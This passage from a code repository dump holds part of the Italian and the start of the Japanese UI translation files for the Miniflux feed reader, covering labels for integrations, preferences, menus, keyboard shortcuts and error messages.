agent personalizzato\",\n    \"form.feed.label.webhook_url\": \"Sovrascrivi l'URL del webhook\",\n    \"form.import.label.file\": \"File OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Invia le voci ad archive.org\",\n    \"form.integration.apprise_activate\": \"Invia le voci ad Apprise\",\n    \"form.integration.apprise_services_url\": \"Elenco di URL di servizi Apprise separati da virgole\",\n    \"form.integration.apprise_url\": \"URL API di Apprise\",\n    \"form.integration.betula_activate\": \"Salva le voci in Betula\",\n    \"form.integration.betula_token\": \"Token Betula\",\n    \"form.integration.betula_url\": \"URL del server Betula\",\n    \"form.integration.cubox_activate\": \"Salva le voci in Cubox\",\n    \"form.integration.cubox_api_link\": \"Link API di Cubox\",\n    \"form.integration.discord_activate\": \"Invia le voci a Discord\",\n    \"form.integration.discord_webhook_link\": \"Link webhook di Discord\",\n    \"form.integration.espial_activate\": \"Salva gli articoli su Espial\",\n    \"form.integration.espial_api_key\": \"API key dell'account Espial\",\n    \"form.integration.espial_endpoint\": \"Endpoint dell'API di Espial\",\n    \"form.integration.espial_tags\": \"Tag di Espial\",\n    \"form.integration.fever_activate\": \"Abilita l'API di Fever\",\n    \"form.integration.fever_endpoint\": \"Endpoint dell'API di Fever:\",\n    \"form.integration.fever_password\": \"Password dell'account Fever\",\n    \"form.integration.fever_username\": \"Nome utente dell'account Fever\",\n    \"form.integration.googlereader_activate\": \"Abilita l'API di Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Endpoint dell'API di Google Reader:\",\n    \"form.integration.googlereader_password\": \"Password dell'account Google Reader\",\n    \"form.integration.googlereader_username\": \"Nome utente dell'account Google Reader\",\n    \"form.integration.instapaper_activate\": \"Salva gli articoli su Instapaper\",\n    \"form.integration.instapaper_password\": \"Password dell'account Instapaper\",\n    \"form.integration.instapaper_username\": \"Nome utente dell'account Instapaper\",\n    \"form.integration.karakeep_activate\": \"Salva gli articoli su Karakeep\",\n    \"form.integration.karakeep_api_key\": \"API key dell'account Karakeep\",\n    \"form.integration.karakeep_url\": \"Endpoint dell'API di Karakeep\",\n    \"form.integration.karakeep_tags\": \"Etichette Karakeep\",\n    \"form.integration.linkace_activate\": \"Salva le voci su LinkAce\",\n    \"form.integration.linkace_api_key\": \"Chiave API di LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Disabilita il controllo dei link\",\n    \"form.integration.linkace_endpoint\": \"Endpoint API di LinkAce\",\n    \"form.integration.linkace_is_private\": \"Segna il link come privato\",\n    \"form.integration.linkace_tags\": \"Tag di LinkAce\",\n    \"form.integration.linkding_activate\": \"Salva gli articoli su Linkding\",\n    \"form.integration.linkding_api_key\": \"API key dell'account Linkding\",\n    \"form.integration.linkding_bookmark\": \"Segna i preferiti come non letti\",\n    \"form.integration.linkding_endpoint\": \"Endpoint dell'API di Linkding\",\n    \"form.integration.linkding_tags\": \"Tag di Linkding\",\n    \"form.integration.linktaco_activate\": \"Salva le voci in LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token API di LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Ottieni il tuo token di accesso personale su\",\n    \"form.integration.linktaco_org_slug\": \"Slug dell'organizzazione\",\n    \"form.integration.linktaco_tags\": \"Tag (massimo 10, separati da virgola)\",\n    \"form.integration.linktaco_tags_hint\": \"Massimo 10 tag, separati da virgola\",\n    \"form.integration.linktaco_visibility\": \"Visibilità\",\n    \"form.integration.linktaco_visibility_public\": \"Pubblico\",\n    \"form.integration.linktaco_visibility_private\": \"Privato\",\n    \"form.integration.linktaco_visibility_hint\": \"La visibilità PRIVATA richiede un account LinkTaco a pagamento\",\n    \"form.integration.linkwarden_activate\": \"Salva le voci su Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Chiave API di Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL di base di Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID collezione Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Trasferimento di nuovi articoli a Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID della stanza Matrix\",\n    \"form.integration.matrix_bot_password\": \"Password per l'utente Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL del server Matrix\",\n    \"form.integration.matrix_bot_user\": \"Nome utente per Matrix\",\n    \"form.integration.notion_activate\": \"Salva le voci in Notion\",\n    \"form.integration.notion_page_id\": \"ID pagina Notion\",\n    \"form.integration.notion_token\": \"Token segreto Notion\",\n    \"form.integration.ntfy_activate\": \"Invia le voci a ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token API ntfy (opzionale)\",\n    \"form.integration.ntfy_icon_url\": \"URL icona ntfy (opzionale)\",\n    \"form.integration.ntfy_internal_links\": \"Usa link interni al clic (opzionale)\",\n    \"form.integration.ntfy_password\": \"Password ntfy (opzionale)\",\n    \"form.integration.ntfy_topic\": \"Topic ntfy (predefinito se non impostato nel feed)\",\n    \"form.integration.ntfy_url\": \"URL ntfy (opzionale, predefinito ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Username ntfy (opzionale)\",\n    \"form.integration.nunux_keeper_activate\": \"Salva gli articoli su Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"API key dell'account Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Endpoint dell'API di Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Salva gli articoli su Omnivore\",\n    \"form.integration.omnivore_api_key\": \"API key dell'account Omnivore\",\n    \"form.integration.omnivore_url\": \"Endpoint dell'API di Omnivore\",\n    \"form.integration.pinboard_activate\": \"Salva gli articoli su Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Segna i preferiti come non letti\",\n    \"form.integration.pinboard_tags\": \"Tag di Pinboard\",\n    \"form.integration.pinboard_token\": \"Token dell'API di Pinboard\",\n    \"form.integration.pushover_activate\": \"Invia le voci a Pushover\",\n    \"form.integration.pushover_device\": \"Dispositivo Pushover (opzionale)\",\n    \"form.integration.pushover_prefix\": \"Prefisso URL Pushover (opzionale)\",\n    \"form.integration.pushover_token\": \"Token API dell'app Pushover\",\n    \"form.integration.pushover_user\": \"Chiave utente Pushover\",\n    \"form.integration.raindrop_activate\": \"Salva le voci su Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID collezione\",\n    \"form.integration.raindrop_tags\": \"Tag (separati da virgola)\",\n    \"form.integration.raindrop_token\": \"(Test) token\",\n    \"form.integration.readeck_activate\": \"Salva gli articoli su Readeck\",\n    \"form.integration.readeck_api_key\": \"API key dell'account Readeck\",\n    \"form.integration.readeck_endpoint\": \"Endpoint dell'API di Readeck\",\n    \"form.integration.readeck_labels\": \"Etichette Readeck\",\n    \"form.integration.readeck_only_url\": \"Invia solo URL (invece del contenuto completo)\",\n    \"form.integration.readeck_push_activate\": \"Invia automaticamente le nuove voci a Readeck\",\n    \"form.integration.readwise_activate\": \"Salva le voci in Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Token di accesso a Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Ottieni il tuo token di accesso Readwise\",\n    \"form.integration.rssbridge_activate\": \"Controlla RSS-Bridge quando aggiungi sottoscrizioni\",\n    \"form.integration.rssbridge_token\": \"Token di autenticazione RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL del server RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Salva gli articoli su Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Segreto API di Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"URL di Shaarli\",\n    \"form.integration.shiori_activate\": \"Salva gli articoli su Shiori\",\n    \"form.integration.shiori_endpoint\": \"Endpoint dell'API di Shiori\",\n    \"form.integration.shiori_password\": \"Password dell'account Shiori\",\n    \"form.integration.shiori_username\": \"Nome utente dell'account Shiori\",\n    \"form.integration.slack_activate\": \"Invia le voci a Slack\",\n    \"form.integration.slack_webhook_link\": \"Link webhook di Slack\",\n    \"form.integration.telegram_bot_activate\": \"Invia nuovi articoli alla chat di Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Disabilita i pulsanti\",\n    \"form.integration.telegram_bot_disable_notification\": \"Disabilita le notifiche\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Disabilita l'anteprima delle pagine\",\n    \"form.integration.telegram_bot_token\": \"Token bot\",\n    \"form.integration.telegram_chat_id\": \"ID chat\",\n    \"form.integration.telegram_topic_id\": \"ID argomento\",\n    \"form.integration.wallabag_activate\": \"Salva gli articoli su Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Client ID dell'account Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Client secret dell'account Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL di base di Wallabagg\",\n    \"form.integration.wallabag_only_url\": \"Invia solo URL (invece del contenuto completo)\",\n    \"form.integration.wallabag_password\": \"Password dell'account Wallabag\",\n    \"form.integration.wallabag_username\": \"Nome utente dell'account Wallabag\",\n    \"form.integration.wallabag_tags\": \"Tag di Wallabag\",\n    \"form.integration.webhook_activate\": \"Abilita i webhook\",\n    \"form.integration.webhook_secret\": \"Segreto dei webhook\",\n    \"form.integration.webhook_url\": \"URL webhook predefinito\",\n    \"form.prefs.fieldset.application_settings\": \"Impostazioni applicazione\",\n    \"form.prefs.fieldset.authentication_settings\": \"Impostazioni di autenticazione\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Impostazioni globali dei feed\",\n    \"form.prefs.fieldset.reader_settings\": \"Impostazioni del lettore\",\n    \"form.prefs.help.external_font_hosts\": \"Elenco, separato da spazi, degli host di font esterni consentiti. Ad esempio: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Leggi gli articoli aprendo i link esterni\",\n    \"form.prefs.label.categories_sorting_order\": \"Ordinamento delle categorie\",\n    \"form.prefs.label.cjk_reading_speed\": \"Velocità di lettura per cinese, coreano e giapponese (caratteri al minuto)\",\n    \"form.prefs.label.custom_css\": \"CSS personalizzati\",\n    \"form.prefs.label.custom_js\": \"JavaScript personalizzati\",\n    \"form.prefs.label.default_home_page\": \"Pagina iniziale predefinita\",\n    \"form.prefs.label.default_reading_speed\": \"Velocità di lettura di altre lingue (parole al minuto)\",\n    \"form.prefs.label.display_mode\": \"Modalità di visualizzazione dell'app Web progressiva (PWA).\",\n    \"form.prefs.label.entries_per_page\": \"Articoli per pagina\",\n    \"form.prefs.label.entry_order\": \"Colonna di ordinamento delle voci\",\n    \"form.prefs.label.entry_sorting\": \"Ordinamento articoli\",\n    \"form.prefs.label.entry_swipe\": \"Abilita lo scorrimento della voce sui touch screen\",\n    \"form.prefs.label.external_font_hosts\": \"Host di font esterni\",\n    \"form.prefs.label.gesture_nav\": \"Gesto per navigare tra le voci\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Abilita le scorciatoie da tastiera\",\n    \"form.prefs.label.language\": \"Lingua\",\n    \"form.prefs.label.mark_read_manually\": \"Contrassegna manualmente le voci come lette\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Segna come letto solo quando audio/video raggiunge il 90%%\",\n    \"form.prefs.label.mark_read_on_view\": \"Contrassegna automaticamente le voci come lette quando visualizzate\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Segna le voci lette alla visualizzazione; per audio/video al 90%%\",\n    \"form.prefs.label.media_playback_rate\": \"Velocità di riproduzione dell'audio/video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Apri i link esterni in una nuova scheda (aggiunge target=\\\"_blank\\\" ai link)\",\n    \"form.prefs.label.show_reading_time\": \"Mostra il tempo di lettura stimato per gli articoli\",\n    \"form.prefs.label.theme\": \"Tema\",\n    \"form.prefs.label.timezone\": \"Fuso orario\",\n    \"form.prefs.select.alphabetical\": \"In ordine alfabetico\",\n    \"form.prefs.select.browser\": \"Browser\",\n    \"form.prefs.select.created_time\": \"Tempo di creazione dell'entrata\",\n    \"form.prefs.select.fullscreen\": \"Schermo intero\",\n    \"form.prefs.select.minimal_ui\": \"Minimale\",\n    \"form.prefs.select.none\": \"Nessuno\",\n    \"form.prefs.select.older_first\": \"Prima i più vecchi\",\n    \"form.prefs.select.publish_time\": \"Ora di pubblicazione dell'entrata\",\n    \"form.prefs.select.recent_first\": \"Prima i più recenti\",\n    \"form.prefs.select.standalone\": \"Autonoma\",\n    \"form.prefs.select.swipe\": \"Scorri\",\n    \"form.prefs.select.tap\": \"Tocca due volte\",\n    \"form.prefs.select.unread_count\": \"Conteggio dei non letti\",\n    \"form.submit.loading\": \"Caricamento in corso...\",\n    \"form.submit.saving\": \"Salvataggio in corso...\",\n    \"form.user.label.admin\": \"Amministratore\",\n    \"form.user.label.confirmation\": \"Conferma password\",\n    \"form.user.label.password\": \"Parola d'accesso\",\n    \"form.user.label.username\": \"Nome utente\",\n    \"menu.about\": \"Informazioni\",\n    \"menu.add_feed\": \"Aggiungi feed\",\n    \"menu.add_user\": \"Aggiungi utente\",\n    \"menu.api_keys\": \"Chiavi API\",\n    \"menu.categories\": \"Categorie\",\n    \"menu.create_api_key\": \"Crea una nuova chiave API\",\n    \"menu.create_category\": \"Aggiungi una categoria\",\n    \"menu.edit_category\": \"Modifica\",\n    \"menu.edit_feed\": \"Modifica\",\n    \"menu.export\": \"Esporta\",\n    \"menu.feed_entries\": \"Articoli\",\n    \"menu.feeds\": \"Feed\",\n    \"menu.flush_history\": \"Svuota la cronologia\",\n    \"menu.history\": \"Cronologia\",\n    \"menu.home_page\": \"Pagina iniziale\",\n    \"menu.import\": \"Importa\",\n    \"menu.integrations\": \"Integrazioni\",\n    \"menu.logout\": \"Esci\",\n    \"menu.mark_all_as_read\": \"Segna tutti gli articoli come letti\",\n    \"menu.mark_page_as_read\": \"Segna questa pagina come letta\",\n    \"menu.preferences\": \"Preferenze\",\n    \"menu.refresh_all_feeds\": \"Aggiorna tutti i feed in background\",\n    \"menu.refresh_feed\": \"Aggiorna\",\n    \"menu.search\": \"Cerca\",\n    \"menu.sessions\": \"Sessioni\",\n    \"menu.settings\": \"Impostazioni\",\n    \"menu.shared_entries\": \"Voci condivise\",\n    \"menu.show_all_entries\": \"Mostra tutte le voci\",\n    \"menu.show_only_starred_entries\": \"Mostra solo voci preferiti\",\n    \"menu.show_only_unread_entries\": \"Mostra solo voci non lette\",\n    \"menu.starred\": \"Preferiti\",\n    \"menu.title\": \"Menù\",\n    \"menu.unread\": \"Da leggere\",\n    \"menu.users\": \"Utenti\",\n    \"page.about.author\": \"Autore:\",\n    \"page.about.build_date\": \"Data della build:\",\n    \"page.about.credits\": \"Crediti\",\n    \"page.about.db_usage\": \"Dimensione del database:\",\n    \"page.about.git_commit\": \"Commit Git:\",\n    \"page.about.global_config_options\": \"Opzioni di configurazione globali\",\n    \"page.about.go_version\": \"Go versione:\",\n    \"page.about.license\": \"Licenza:\",\n    \"page.about.postgres_version\": \"Postgres versione:\",\n    \"page.about.title\": \"Informazioni\",\n    \"page.about.version\": \"Versione:\",\n    \"page.add_feed.choose_feed\": \"Scegli un feed\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opzioni avanzate\",\n    \"page.add_feed.no_category\": \"Nessuna categoria selezionata. Devi scegliere almeno una categoria.\",\n    \"page.add_feed.submit\": \"Abbonati al feed\",\n    \"page.add_feed.title\": \"Nuovo feed\",\n    \"page.api_keys.never_used\": \"Mai usato\",\n    \"page.api_keys.table.actions\": \"Azioni\",\n    \"page.api_keys.table.created_at\": \"Data di creazione\",\n    \"page.api_keys.table.description\": \"Descrizione\",\n    \"page.api_keys.table.last_used_at\": \"Ultimo uso\",\n    \"page.api_keys.table.token\": \"Gettone\",\n    \"page.api_keys.title\": \"Chiavi API\",\n    \"page.categories.entries\": \"Articoli\",\n    \"page.categories.feed_count\": [\n        \"C'è %d feed.\",\n        \"Ci sono %d feed.\"\n    ],\n    \"page.categories.feeds\": \"Abbonamenti\",\n    \"page.categories.no_feed\": \"Nessun feed.\",\n    \"page.categories.title\": \"Categorie\",\n    \"page.categories_count\": [\n        \"%d categoria\",\n        \"%d categorie\"\n    ],\n    \"page.category_label\": \"Categoria: %s\",\n    \"page.edit_category.title\": \"Modifica categoria: %s\",\n    \"page.edit_feed.etag_header\": \"Header ETag:\",\n    \"page.edit_feed.last_check\": \"Ultimo controllo:\",\n    \"page.edit_feed.last_modified_header\": \"Header LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Ultimo errore di parsing\",\n    \"page.edit_feed.no_header\": \"Nessun header\",\n    \"page.edit_feed.title\": \"Modifica feed: %s\",\n    \"page.edit_user.title\": \"Modifica utente: %s\",\n    \"page.entry.attachments\": \"Allegati\",\n    \"page.feeds.error_count\": [\n        \"%d errore\",\n        \"%d errori\"\n    ],\n    \"page.feeds.last_check\": \"Ultimo controllo:\",\n    \"page.feeds.next_check\": \"Prossimo controllo:\",\n    \"page.feeds.read_counter\": \"Numero di voci lette\",\n    \"page.feeds.title\": \"Feed\",\n    \"page.footer.elevator\": \"Torna su\",\n    \"page.history.title\": \"Cronologia\",\n    \"page.import.title\": \"Importa\",\n    \"page.integration.bookmarklet\": \"Segnalibro\",\n    \"page.integration.bookmarklet.help\": \"Questo collegamento speciale ti consente di abbonarti ad un sito web semplicemente usando un segnalibro del tuo browser.\",\n    \"page.integration.bookmarklet.instructions\": \"Trascina questo collegamento sui tuoi segnalibri.\",\n    \"page.integration.bookmarklet.name\": \"Aggiungi a Miniflux\",\n    \"page.integration.miniflux_api\": \"API di Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Endpoint dell'API di Miniflux\",\n    \"page.integration.miniflux_api_password\": \"Password dell'API\",\n    \"page.integration.miniflux_api_password_value\": \"La password del tuo account\",\n    \"page.integration.miniflux_api_username\": \"Nome utente\",\n    \"page.integrations.title\": \"Integrazioni\",\n    \"page.keyboard_shortcuts.close_modal\": \"Chiudi la finestra di dialogo\",\n    \"page.keyboard_shortcuts.download_content\": \"Scarica il contenuto integrale\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Vai all'elemento in fondo\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Mostra le categorie\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Mostra il feed\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Mostra i feed\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Mostra la cronologia\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Mostra l'articolo successivo\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Mostra la pagina successiva\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Mostra l'articolo precedente\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Mostra la pagina precedente\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Apri la casella di ricerca\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Mostra le impostazioni\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Mostra i preferiti\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Vai all'elemento principale\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Mostra gli articoli da leggere\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Segna la pagina attuale come letta\",\n    \"page.keyboard_shortcuts.open_comments\": \"Apri la pagina web dei commenti\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Apri il link dei commenti nella scheda corrente\",\n    \"page.keyboard_shortcuts.open_item\": \"Apri l'articolo selezionato\",\n    \"page.keyboard_shortcuts.open_original\": \"Apri la pagina web originale\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Apri il link originale nella scheda corrente\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Aggiorna tutti i feed in background\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Rimuovi questo feed\",\n    \"page.keyboard_shortcuts.save_article\": \"Salva l'articolo\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Scorri l'articolo in alto\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Mostra le scorciatoie da tastiera\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Azioni\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigazione articoli\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigazione pagine\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigazione sezioni\",\n    \"page.keyboard_shortcuts.title\": \"Scorciatoie da tastiera\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Aggiungi/rimuovi dai preferiti\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Apri/chiudi gli allegati dell'articolo\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Cambia lo stato di lettura (letto/da leggere), concentrati dopo\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Cambia lo stato di lettura (letto/da leggere), focus precedente\",\n    \"page.login.google_signin\": \"Accedi tramite Google\",\n    \"page.login.oidc_signin\": \"Accedi tramite %s\",\n    \"page.login.title\": \"Accedi\",\n    \"page.login.webauthn_login\": \"Accedi con passkey\",\n    \"page.login.webauthn_login.error\": \"Impossibile accedere con passkey\",\n    \"page.login.webauthn_login.help\": \"Inserisci il tuo nome utente se stai usando una chiave di sicurezza. Non è necessario con una Passkey (credenziali rilevabili).\",\n    \"page.new_api_key.title\": \"Nuova chiave API\",\n    \"page.new_category.title\": \"Nuova categoria\",\n    \"page.new_user.title\": \"Nuovo utente\",\n    \"page.offline.message\": \"Sei offline\",\n    \"page.offline.refresh_page\": \"Prova ad aggiornare la pagina\",\n    \"page.offline.title\": \"Modalità offline\",\n    \"page.read_entry_count\": [\n        \"%d voce letta\",\n        \"%d voci lette\"\n    ],\n    \"page.search.title\": \"Risultati della ricerca\",\n    \"page.sessions.table.actions\": \"Azioni\",\n    \"page.sessions.table.current_session\": \"Sessione corrente\",\n    \"page.sessions.table.date\": \"Data\",\n    \"page.sessions.table.ip\": \"Indirizzo IP\",\n    \"page.sessions.table.user_agent\": \"User agent\",\n    \"page.sessions.title\": \"Sessioni\",\n    \"page.settings.link_google_account\": \"Collega il mio account Google\",\n    \"page.settings.link_oidc_account\": \"Collega il mio account %s\",\n    \"page.settings.title\": \"Impostazioni\",\n    \"page.settings.unlink_google_account\": \"Scollega il mio account Google\",\n    \"page.settings.unlink_oidc_account\": \"Scollega il mio account %s\",\n    \"page.settings.webauthn.actions\": \"Azioni\",\n    \"page.settings.webauthn.added_on\": \"Aggiunta il\",\n    \"page.settings.webauthn.delete\": [\n        \"Rimuovi %d passkey\",\n        \"Rimuovi %d passkey\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Ultimo uso\",\n    \"page.settings.webauthn.passkey_name\": \"Nome passkey\",\n    \"page.settings.webauthn.passkeys\": \"Passkey\",\n    \"page.settings.webauthn.register\": \"Registra la chiave di accesso\",\n    \"page.settings.webauthn.register.error\": \"Impossibile registrare la passkey\",\n    \"page.shared_entries.title\": \"Voci condivise\",\n    \"page.shared_entries_count\": [\n        \"%d voce condivisa\",\n        \"%d voci condivise\"\n    ],\n    \"page.starred.title\": \"Preferiti\",\n    \"page.starred_entry_count\": [\n        \"%d voce preferita\",\n        \"%d voci preferite\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d voce in totale\",\n        \"%d voci in totale\"\n    ],\n    \"page.unread.title\": \"Da leggere\",\n    \"page.unread_entry_count\": [\n        \"%d voce non letta\",\n        \"%d voci non lette\"\n    ],\n    \"page.users.actions\": \"Azioni\",\n    \"page.users.admin.no\": \"Niente\",\n    \"page.users.admin.yes\": \"Sì\",\n    \"page.users.is_admin\": \"Amministratore\",\n    \"page.users.last_login\": \"Ultimo accesso\",\n    \"page.users.never_logged\": \"Mai\",\n    \"page.users.title\": \"Utenti\",\n    \"page.users.username\": \"Nome utente\",\n    \"page.webauthn_rename.title\": \"Rinomina passkey\",\n    \"pagination.first\": \"Primo\",\n    \"pagination.last\": \"Ultimo\",\n    \"pagination.next\": \"Successivo\",\n    \"pagination.previous\": \"Precedente\",\n    \"search.label\": \"Cerca\",\n    \"search.placeholder\": \"Cerca...\",\n    \"search.submit\": \"Cerca\",\n    \"skip_to_content\": \"Salta al contenuto\",\n    \"time_elapsed.days\": [\n        \"%d giorno fa\",\n        \"%d giorni fa\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d ora fa\",\n        \"%d ore fa\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minuto fa\",\n        \"%d minuti fa\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d mese fa\",\n        \"%d mesi fa\"\n    ],\n    \"time_elapsed.not_yet\": \"non ancora\",\n    \"time_elapsed.now\": \"adesso\",\n    \"time_elapsed.weeks\": [\n        \"%d settimana fa\",\n        \"%d settimane fa\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d anno fa\",\n        \"%d anni fa\"\n    ],\n    \"time_elapsed.yesterday\": \"ieri\",\n    \"tooltip.keyboard_shortcuts\": \"Scorciatoia da tastiera: %s\",\n    \"tooltip.logged_user\": \"Autenticato come %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/ja_JP.json",
    "content": "{\n    \"action.cancel\": \"取り消し\",\n    \"action.download\": \"ダウンロード\",\n    \"action.edit\": \"編集\",\n    \"action.home_screen\": \"ホームスクリーンに追加\",\n    \"action.import\": \"インポート\",\n    \"action.login\": \"ログイン\",\n    \"action.or\": \"または\",\n    \"action.remove\": \"削除\",\n    \"action.remove_feed\": \"このフィードを削除\",\n    \"action.save\": \"保存\",\n    \"action.subscribe\": \"フィードを購読\",\n    \"action.update\": \"更新\",\n    \"alert.account_linked\": \"外部アカウントとリンクされました!\",\n    \"alert.account_unlinked\": \"外部アカウントとのリンクが解除されました!\",\n    \"alert.background_feed_refresh\": \"すべてのフィードがバックグラウンドで更新されています。この処理中も Miniflux を使い続けることができます。\",\n    \"alert.feed_error\": \"このフィードには問題があります。\",\n    \"alert.no_starred\": \"現在星付きはありません。\",\n    \"alert.no_category\": \"カテゴリが存在しません。\",\n    \"alert.no_category_entry\": \"このカテゴリには記事がありません。\",\n    \"alert.no_feed\": \"何も購読していません。\",\n    \"alert.no_feed_entry\": \"このフィードには記事がありません。\",\n    \"alert.no_feed_in_category\": \"このカテゴリには購読中のフィードがありません。\",\n    \"alert.no_history\": \"現在履歴はありません。\",\n    \"alert.no_search_result\": \"検索で何も見つかりませんでした。\",\n    \"alert.no_shared_entry\": \"共有エントリはありません。\",\n    \"alert.no_tag_entry\": \"このタグに一致するエントリーはありません。\",\n    \"alert.no_unread_entry\": \"未読の記事はありません。\",\n    \"alert.no_user\": \"あなたが唯一のユーザーです。\",\n    \"alert.prefs_saved\": \"設定情報は保存されました!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"フィードの更新を要求しすぎました。%d 分後に再度お試しください。\"\n    ],\n    \"confirm.loading\": \"実行中…\",\n    \"confirm.no\": \"いいえ\",\n    \"confirm.question\": \"よろしいですか?\",\n    \"confirm.question.refresh\": \"強制的に更新しますか？\",\n    \"confirm.yes\": \"はい\",\n    \"enclosure_media_controls.seek\": \"シーク:\",\n    \"enclosure_media_controls.seek.title\": \"%s 秒シーク\",\n    \"enclosure_media_controls.speed\": \"速度:\",\n    \"enclosure_media_controls.speed.faster\": \"速く\",\n    \"enclosure_media_controls.speed.faster.title\": \"%sx 速く\",\n    \"enclosure_media_controls.speed.reset\": \"リセット\",\n    \"enclosure_media_controls.speed.reset.title\": \"速度を1xにリセット\",\n    \"enclosure_media_controls.speed.slower\": \"遅く\",\n    \"enclosure_media_controls.speed.slower.title\": \"%sx 遅く\",\n    \"entry.starred.toast.off\": \"星を外しました\",\n    \"entry.starred.toast.on\": \"星を付けました\",\n    \"entry.starred.toggle.off\": \"星を外す\",\n    \"entry.starred.toggle.on\": \"星を付ける\",\n    \"entry.comments.label\": \"コメント\",\n    \"entry.comments.title\": \"コメントを見る\",\n    \"entry.estimated_reading_time\": [\n        \"%d 分で読めます\"\n    ],\n    \"entry.external_link.label\": \"外部リンク\",\n    \"entry.save.completed\": \"完了!\",\n    \"entry.save.label\": \"保存\",\n    \"entry.save.title\": \"この記事を保存\",\n    \"entry.save.toast.completed\": \"記事は保存されました\",\n    \"entry.scraper.completed\": \"完了!\",\n    \"entry.scraper.label\": \"ダウンロード\",\n    \"entry.scraper.title\": \"オリジナルの内容を取得\",\n    \"entry.share.label\": \"共有\",\n    \"entry.share.title\": \"この記事を共有する\",\n    \"entry.shared_entry.label\": \"共有する\",\n    \"entry.shared_entry.title\": \"公開リンクを開く\",\n    \"entry.state.loading\": \"読み込み中…\",\n    \"entry.state.saving\": \"保存中…\",\n    \"entry.status.mark_as_read\": \"既読にする\",\n    \"entry.status.mark_as_unread\": \"未読に戻す\",\n    \"entry.status.title\": \"記事の状態を変更\",\n    \"entry.status.toast.read\": \"既読にしました\",\n    \"entry.status.toast.unread\": \"未読にしました\",\n    \"entry.tags.label\": \"タグ:\",\n    \"entry.tags.more_tags_label\": [\n        \"%d 個のタグ\"\n    ],\n    \"entry.unshare.label\": \"共有を解除\",\n    \"error.api_key_already_exists\": \"この API キーは既に存在します。\",\n    \"error.bad_credentials\": \"ユーザー名かパスワードが間違っています。\",\n    \"error.category_already_exists\": \"このカテゴリは既に存在します。\",\n    \"error.category_not_found\": \"このカテゴリは存在しないか、このユーザーに属していません。\",\n    \"error.database_error\": \"データベースエラー: %v。\",\n    \"error.different_passwords\": \"パスワードが一致しません。\",\n    \"error.duplicate_fever_username\": \"既に同じ名前の Fever ユーザー名が使われています!\",\n    \"error.duplicate_googlereader_username\": \"既に同じ名前の Google Reader ユーザー名が使われています!\",\n    